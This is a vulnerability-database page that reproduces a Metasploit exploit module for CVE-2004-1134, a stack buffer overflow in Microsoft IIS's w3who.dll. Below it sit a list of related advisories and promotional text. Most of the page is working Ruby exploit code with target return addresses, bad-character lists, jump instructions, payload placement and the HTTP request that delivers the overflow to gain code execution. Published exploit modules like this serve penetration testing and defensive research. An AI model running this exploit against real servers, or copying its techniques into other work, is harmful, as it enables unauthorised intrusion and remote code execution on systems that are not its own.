Lucene search
K

Microsoft IIS ISAPI w3who.dll Query String Overflow

🗓️ 13 Sep 2006 06:28:35Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

Microsoft IIS ISAPI w3who.dll Query String Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-1134
7 Jul 201000:00
circl
Check Point Advisories
Microsoft ISAPI W3Who Library Buffer Overflow (CVE-2004-1134)
18 Feb 201000:00
checkpoint_advisories
CVE
CVE-2004-1134
8 Dec 200405:00
cve
Cvelist
CVE-2004-1134
8 Dec 200405:00
cvelist
Exploit DB
Microsoft IIS - ISAPI &#039;w3who.dll&#039; Query String Overflow (Metasploit)
7 Jul 201000:00
exploitdb
NVD
CVE-2004-1134
10 Jan 200505:00
nvd
OpenVAS
w3who.dll Buffer Overflow / XSS Vulnerability - Active Check
3 Nov 200500:00
openvas
OpenVAS
w3who.dll overflow and XSS
3 Nov 200500:00
openvas
Packet Storm
iis_w3who_overflow.pm
12 Jan 200500:00
packetstorm
Packet Storm
Microsoft IIS ISAPI w3who.dll Query String Overflow
26 Nov 200900:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  # XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the w3who.dll ISAPI
        application. This vulnerability was discovered Nicolas
        Gregoire and this code has been successfully tested against
        Windows 2000 and Windows XP (SP2). When exploiting Windows
        XP, the payload must call RevertToSelf before it will be
        able to spawn a command shell.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1134' ],
          [ 'OSVDB', '12258' ],
          [ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
          [ 'BID', '11820' ]
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 632,
          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
          'MinNops'  => 128,
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic Detection', { }],
          ['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
          ['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2004-12-06'))

    register_options(
      [
        OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
      ])
  end

  def auto_target

    res = send_request_raw(
      {
        'uri'   => normalize_uri(datastore['URL'])
      }, -1)
    http_fingerprint({ :response => res })  # XXX: Needs custom body match

    # Was a vulnerable system detected?
    t = nil
    if (res and res.body =~ /Access Token/)
      case res.headers['Server']
      when /5\.1/
        t = targets[2]
      else
        t = targets[1]
      end
    end
    t
  end

  def check
    if auto_target
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit

    if (target.name =~ /Automatic/)
      mytarget = auto_target
    else
      mytarget = target
    end

    if not mytarget
      fail_with(Failure::NoTarget, "No valid target found")
    end

    buf = rand_text_english(8192, payload_badchars)
    buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
    buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
    buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
    buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded

    print_status("Sending request...")
    r = send_request_raw({
      'uri'   => normalize_uri(datastore['URL']),
      'query' => buf
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation